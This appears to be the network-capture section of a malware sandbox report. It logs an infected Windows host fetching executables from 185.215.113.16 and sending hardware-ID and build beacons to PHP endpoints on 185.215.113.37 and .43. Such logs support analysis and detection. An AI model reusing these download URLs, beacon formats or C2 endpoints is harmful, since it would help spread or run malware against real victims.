Oct 24, 2024 09:07:24.923923969 CEST	1236	IN	Data Raw: d0 fb ad 87 2a 97 33 59 8c 56 e9 ef e7 64 3b 01 5c 07 c4 b0 c8 2f 14 a8 a8 48 97 1e aa 1f ec 7e 16 c0 ff 6c bc 2e b2 da c7 1d 1c ea 3a 93 7d ea 02 af 8b 37 28 ef 04 2d 8a 5f d5 08 88 1c 25 b8 dc 89 11 2e a8 47 7e d9 99 a3 6f 90 dd 69 43 cf 0d d4 Data Ascii: 3YVd;\/H~l.:}7(-_%.G~oiCcW)K2.OjKPZf;wJ)/-cop0\6z7y\|eu9c5l%D%GX*?EfL:
Oct 24, 2024 09:07:28.672250032 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:07:28.957956076 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:07:28 GMT Content-Type: application/octet-stream Content-Length: 1854464 Last-Modified: Thu, 24 Oct 2024 06:55:17 GMT Connection: keep-alive ETag: "6719ef55-1c4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 e7 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0j@`j"@P%d% %(@.rsrc %8@.idata %8@ P%:@wyvqzkuk0P<@kejrglww j&@.taggant00j"@
Oct 24, 2024 09:07:31.259327888 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 09:07:31.545908928 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:07:31 GMT Content-Type: application/octet-stream Content-Length: 2822656 Last-Modified: Thu, 24 Oct 2024 06:45:04 GMT Connection: keep-alive ETag: "6719ecf0-2b1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 05 dd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@mjjuywzq*:@kuccapjc `+@.taggant@+"*@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49859	185.215.113.37	80	2988	C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:07:39.702703953 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 09:07:40.628094912 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 09:07:40.631494045 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 2d 2d 0d 0a Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="build"doma------AECAKJJECAEGCBGDHDHC--
Oct 24, 2024 09:07:40.924982071 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49995	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:06.013384104 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 09:08:06.925574064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49996	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:08.447981119 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 09:08:09.385687113 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 31 33 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 31 33 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 31 34 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 31 34 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001138001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001139001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001140001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001141001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49997	185.215.113.16	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:09.394099951 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 09:08:10.306121111 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:10 GMT Content-Type: application/octet-stream Content-Length: 2958848 Last-Modified: Thu, 24 Oct 2024 06:55:10 GMT Connection: keep-alive ETag: "6719ef4e-2d2600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 94 44 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf0@0D-@Wk ^@.rsrc n@.idata n@wkslfpnx**p@dfiorjat0,@.taggant00"-@
Oct 24, 2024 09:08:10.306205988 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:10.306241989 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:10.306278944 CEST	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:10.306313038 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 27 e7 15 00 dc 41 7b 71 2d 81 79 59 c5 6d 1c c5 9f 32 20 4e eb 93 5b 2b 25 84 b6 4a 17 a9 24 d5 de af 33 4e 35 07 34 e1 48 ff b6 90 f4 2b 2f 23 a6 1b d5 81 a9 c5 5d 9c cd af 28 ae Data Ascii: 'A{q-yYm2 N[+%J$3N54H+/#](8n{J51rHn`T]ch$Ut,(C0Pk$Nl=_6-+)$78k6Wz(Fh{)8]h=6\N*%^9w(1_ZE(NY_lbr^; ($'xR]W
Oct 24, 2024 09:08:10.306349993 CEST	212	IN	Data Raw: a8 c6 56 e2 5d 6e 30 67 34 4d 63 a4 6b a4 09 69 81 b4 28 af 02 e5 c0 be 79 d5 35 e1 00 bf 64 a5 a6 fb 75 8e 67 0f f3 83 00 cd 36 74 fb 46 69 6e fc 01 f7 0b 2d e9 6d c5 97 ea 64 c7 c3 f5 15 b7 76 5c d5 bb 11 67 2a 06 78 e6 be 36 ba 47 26 05 39 6e Data Ascii: V]n0g4Mcki(y5dug6tFin-mdv\gx6G&9nst?l(G!crn6klvXoyQpi p]D&7ThR;sx
Oct 24, 2024 09:08:10.306566000 CEST	1236	IN	Data Raw: b8 4d 2e c4 0f 9c 3b b8 da fb dd 66 2e f3 5c 2a c5 a5 0a df 4d 06 eb 0a 0b b2 14 88 b3 e2 b5 6e aa 27 ff e7 f0 af da c9 01 b9 22 62 70 a5 ba c5 0a dd f5 4e b3 1b ff ea e0 a5 c8 be fb 4e c6 66 09 b4 ef 05 ad ea aa 86 61 08 57 32 7d 07 9e 9f 15 51 Data Ascii: M.;f.\*Mn'"bpNNfaW2}QwO#]MYFdK2"7n!,$FAeibPtsmh( -(IH7[3Ow'h={iwb!htt)R6}%.:d
Oct 24, 2024 09:08:10.306619883 CEST	212	IN	Data Raw: 1a cc 34 8d 24 98 4f 43 b8 79 f1 96 5c c1 25 b8 a2 b0 4a ce 18 62 1d 56 3b 89 39 2d 18 f9 cf 1b 02 5d 1f 5b 7d a7 ef bb 31 44 12 d0 52 3b 20 30 fb 9e ae 5f bd 39 10 38 88 66 40 8f b8 c2 38 f1 32 d8 e4 46 fa d1 63 64 ea 0a f3 ad f9 50 41 6e 2f 47 Data Ascii: 4$OCy\%JbV;9-][}1DR; 0_98f@82FcdPAn/Guw#Es:i/*nieo6u!f[(!?zE<%g($}^{f\|ihw4f63"i5G7/`{
Oct 24, 2024 09:08:10.306652069 CEST	1236	IN	Data Raw: a6 92 18 e8 23 ab 18 ce b0 bb d7 6e 99 b4 16 6d e0 4a 14 14 00 39 66 d1 36 6d dd 6b 09 e7 fd 73 f9 f5 af 90 b0 10 28 45 3b b9 17 58 65 c9 0c e3 4c f9 0a 14 8a 36 12 20 49 95 a6 56 e2 06 0b 81 38 66 2c 95 71 f5 9e 87 18 a2 8b 20 80 a7 96 37 bd 6c Data Ascii: #nmJ9f6mks(E;XeL6 IV8f,q 7lt`-A-5F!Xa'\?-uumyt$oDj@ep6$~(_B06U9,A@l6Qs@ZY@U4?nCW*q6[=^
Oct 24, 2024 09:08:10.306688070 CEST	1236	IN	Data Raw: 63 f8 b8 ae 1b 99 ed a5 e9 27 fe b3 14 5e 85 8e 57 a3 55 58 c9 11 e0 87 2e d0 5c fb 55 52 06 a6 b0 1d 26 ae cf a9 b9 80 b7 b8 16 e4 2e 1e 11 b8 9d 99 3f 5b b2 32 df ea c9 8e 4c 64 c5 3e ff 9a fc 9f 12 f4 35 d9 2d c0 08 9f cd 3d ca de 23 a7 77 aa Data Ascii: c'^WUX.\UR&.?[2Ld>5-=#w=w#5>w)-~=LA8^XiF'qxei?X<qPBwT,h%od89At$2)c$.X({MItR-82V
Oct 24, 2024 09:08:10.311774015 CEST	1236	IN	Data Raw: 28 fd 8e d0 01 c3 fb 2e 2b 63 b8 0e 7e 94 b2 f9 1a f3 92 fd a4 9c 05 f4 f9 64 61 b0 dc c1 3d d8 f7 32 7a b4 45 80 17 51 7c 76 7e 6f 99 4e 65 e5 b2 57 8e 51 6e 8e 68 44 fb a3 5b ab c5 e2 90 b1 da a2 06 4a 93 d1 a1 27 f9 46 2e 5b 40 51 a3 6a 6f d4 Data Ascii: (.+c~da=2zEQ\|v~oNeWQnhD[J'F.[@QjoA(Qyi!n)IwBeu!S'P:&Ith^`5n:=3iW,t@`L(_M?6#Fe`.4]3]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49999	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:18.605218887 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001138001&unit=246122658369
Oct 24, 2024 09:08:19.529911041 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50001	185.215.113.16	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 09:08:19.540292025 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 09:08:20.436559916 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 07:08:20 GMT Content-Type: application/octet-stream Content-Length: 1854464 Last-Modified: Thu, 24 Oct 2024 06:55:17 GMT Connection: keep-alive ETag: "6719ef55-1c4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 e7 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0j@`j"@P%d% %(@.rsrc %8@.idata %8@ P%:@wyvqzkuk0P<@kejrglww j&@.taggant00j"@
Oct 24, 2024 09:08:20.436605930 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:20.436666965 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:20.436702013 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:20.436734915 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 09:08:20.436768055 CEST	1236	IN	Data Raw: d3 7b a5 02 1d ea 98 be af 79 c0 65 00 d9 7d 3b 17 02 14 18 f0 2d 73 9b 7e 6f d2 cc 73 85 06 da fd c8 3d 0b b6 7c c4 58 90 3e f7 6e 28 a0 5b 74 8c 77 bd 98 09 17 7b b3 fb 47 c6 04 64 f5 71 57 f8 77 70 3a a5 ab 65 5c 03 cb 5a 9f dd a7 a2 02 31 54 Data Ascii: {ye};-s~os=\|X>n([tw{GdqWwp:e\Z1Ts;;7C{E"LF-KHkqhMupxomuoWn:u;?IC\|=.wuW,tAZ?q~q########%,Qo1'5vqk
Oct 24, 2024 09:08:20.436820030 CEST	1236	IN	Data Raw: c4 5b de 44 88 d5 d1 b4 03 e2 3c 34 d7 6e 11 87 e9 25 5c c3 07 36 72 eb 78 ad 1e c0 20 e8 c0 bc 24 7c 65 ad f5 a5 b4 f6 56 25 5d 34 32 84 4d b2 3f 66 58 02 88 76 1b b3 07 ab 8a 77 44 21 b9 6e fd e9 33 35 10 b9 47 0a 14 0a 48 f0 38 2e fb 14 81 a8 Data Ascii: [D<4n%\6rx $\|eV%]42M?fXvwD!n35GH8.qLu)M5;=DuU$RDZ$!3.1,2,v;iJ8-m>xyGa-<Sli5o=45=P?9Aju(VF`qm'ttBM=UX
Oct 24, 2024 09:08:20.436852932 CEST	1236	IN	Data Raw: 0d dd 56 73 00 95 49 d1 27 76 93 7b 98 96 44 f8 2d 7e 84 c1 35 81 64 44 3f ca 90 b8 04 d1 74 e1 5d 3d b6 e2 03 e9 c1 b8 04 f9 7f 41 ba f5 87 e2 44 15 b5 c9 ab 86 2f cd 03 b1 88 51 00 2f 01 ca fb 45 b9 96 d0 2d 55 32 b5 55 bf c9 f3 87 c1 7d b5 75 Data Ascii: VsI'v{D-~5dD?t]=AD/Q/E-U2U}uvN-~/U8+"QD~43B8p~Td-5T~HJI3i4xut8I-d-A(%wLmI`0p1ls=At QmT9[LCmPI
Oct 24, 2024 09:08:20.436887980 CEST	972	IN	Data Raw: fe b5 c8 c9 9b e9 77 0a ff fd d4 12 12 95 42 b4 04 a6 a1 4c 91 9b 56 d1 1b 76 61 d9 13 7e b8 9c 8c f7 34 b8 49 96 c4 c8 04 88 3f 40 a0 f0 47 b8 88 7e 40 e8 6f 5b 42 12 64 b1 f2 00 3c 7e 8c 34 33 42 56 40 07 c4 bd b8 04 dd 74 74 5d 85 d5 02 37 ed Data Ascii: wBLVva~4I?@G~@o[Bd<~43BV@tt]7AP3~ABv;=Jph~W`23Vd\|_%mE>^u50~@tHSm~K,.~LMYAH7AX~QCm43B
Oct 24, 2024 09:08:20.436922073 CEST	1048	IN	Data Raw: c6 d7 78 8c 50 ca 10 b9 04 51 75 72 5e e9 7c c3 3b 5d 4a b8 2f a3 d9 3e 10 b5 d4 f5 4d 7d 6e d5 13 6d 49 40 d0 19 55 42 da a3 42 b4 04 dc a2 54 38 59 82 00 05 4f 42 0e 08 05 16 03 69 dd b4 c9 6f 87 75 e9 5b cc e6 d1 29 85 49 f7 17 e2 7b 54 b8 9b Data Ascii: xPQur^\|;]J/>M}nmI@UBBT8YOBiou[)I{Tn4m~CK\|L~(\|@`}x8~,dyPA_y{<IpK0L~43TIp~9HBFAxtIcu9r\#pvti3tpQ8ez<Z_m
Oct 24, 2024 09:08:20.442523003 CEST	1236	IN	Data Raw: c5 98 8e 32 39 8c 38 08 80 c7 49 79 b8 16 06 c1 2d 7e 48 c1 34 81 20 35 34 89 89 f0 04 ad b4 f7 1b 8a d4 49 5e d5 72 c9 6b 76 47 cc 63 ed 8d 73 a3 4a 91 12 f8 b8 bd a0 3d 37 db b1 1d 7a 7e bb af 6d 7f dc ab ec 58 eb 77 70 e7 9a 77 a8 36 aa 56 00 Data Ascii: 298Iy-~H4 54I^rkvGcsJ=7z~mXwpw6V@}l\mb{he)B2m;;x"9?AE#@`du4~[gDG9t=$4\"qhn"^tF:@so/ip3d3N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50008	185.215.113.43	80	7580	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
